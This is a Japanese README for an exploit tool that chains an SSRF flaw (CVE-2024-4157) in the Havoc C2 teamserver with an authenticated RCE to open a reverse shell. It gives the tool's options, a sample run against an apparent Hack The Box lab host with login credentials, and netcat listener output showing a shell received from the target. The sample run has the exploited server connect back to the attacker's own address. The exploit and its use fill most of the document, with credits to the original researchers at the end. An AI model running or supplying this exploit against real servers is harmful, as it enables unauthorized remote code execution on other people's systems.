CVE-2024-4157: Havoc C2 でのリバースシェル取得 - SSRF と RCE の連鎖

ローカル IP とポートを使用してリバースシェルを取得し、CVE-2024-4157 POC と havoc_auth_rce を連鎖させます。

使用方法

基本情報

$ python3 exploit.py
usage: exploit.py [-h] [-t TARGET] [-i IP] [-p PORT] [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME] [-n PROCESS_NAME] [-ip INTERNAL_IP] [-U ADMIN_USERNAME] [-P
                  PASSWORD] [-l LOCAL_IP] [-lp LOCAL_PORT]
## -t: target IP where the C2 server is running on
## -i: internal IP address that we want the C2 server to interactive with (SSRF)
## -p: internal port 
## -U: username to the C2 server
## -P: password to the C2 server
## -l: local address for the reverse shell (RCE)
## -lp: local port for the reverse shell

$ python3 exploit.py -t https://10.129.150.254 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -l 10.10.14.54 -lp 4444
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

私たちの nc リスナー上のリバースシェル

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.150.254] 53352
bash: cannot set terminal process group (2933): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$

クレジット

SSRF 部分は @chebuya に感謝します。脆弱性に関する詳細ブログ
RCE 部分は @Laurence Tennant に感謝します。ブログの詳細情報
HTB Backfire の素晴らしい解説を書いてくれた 0xdf に感謝します。

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CVE-2024-4157-SSRF-RCE-Reverse-Shell

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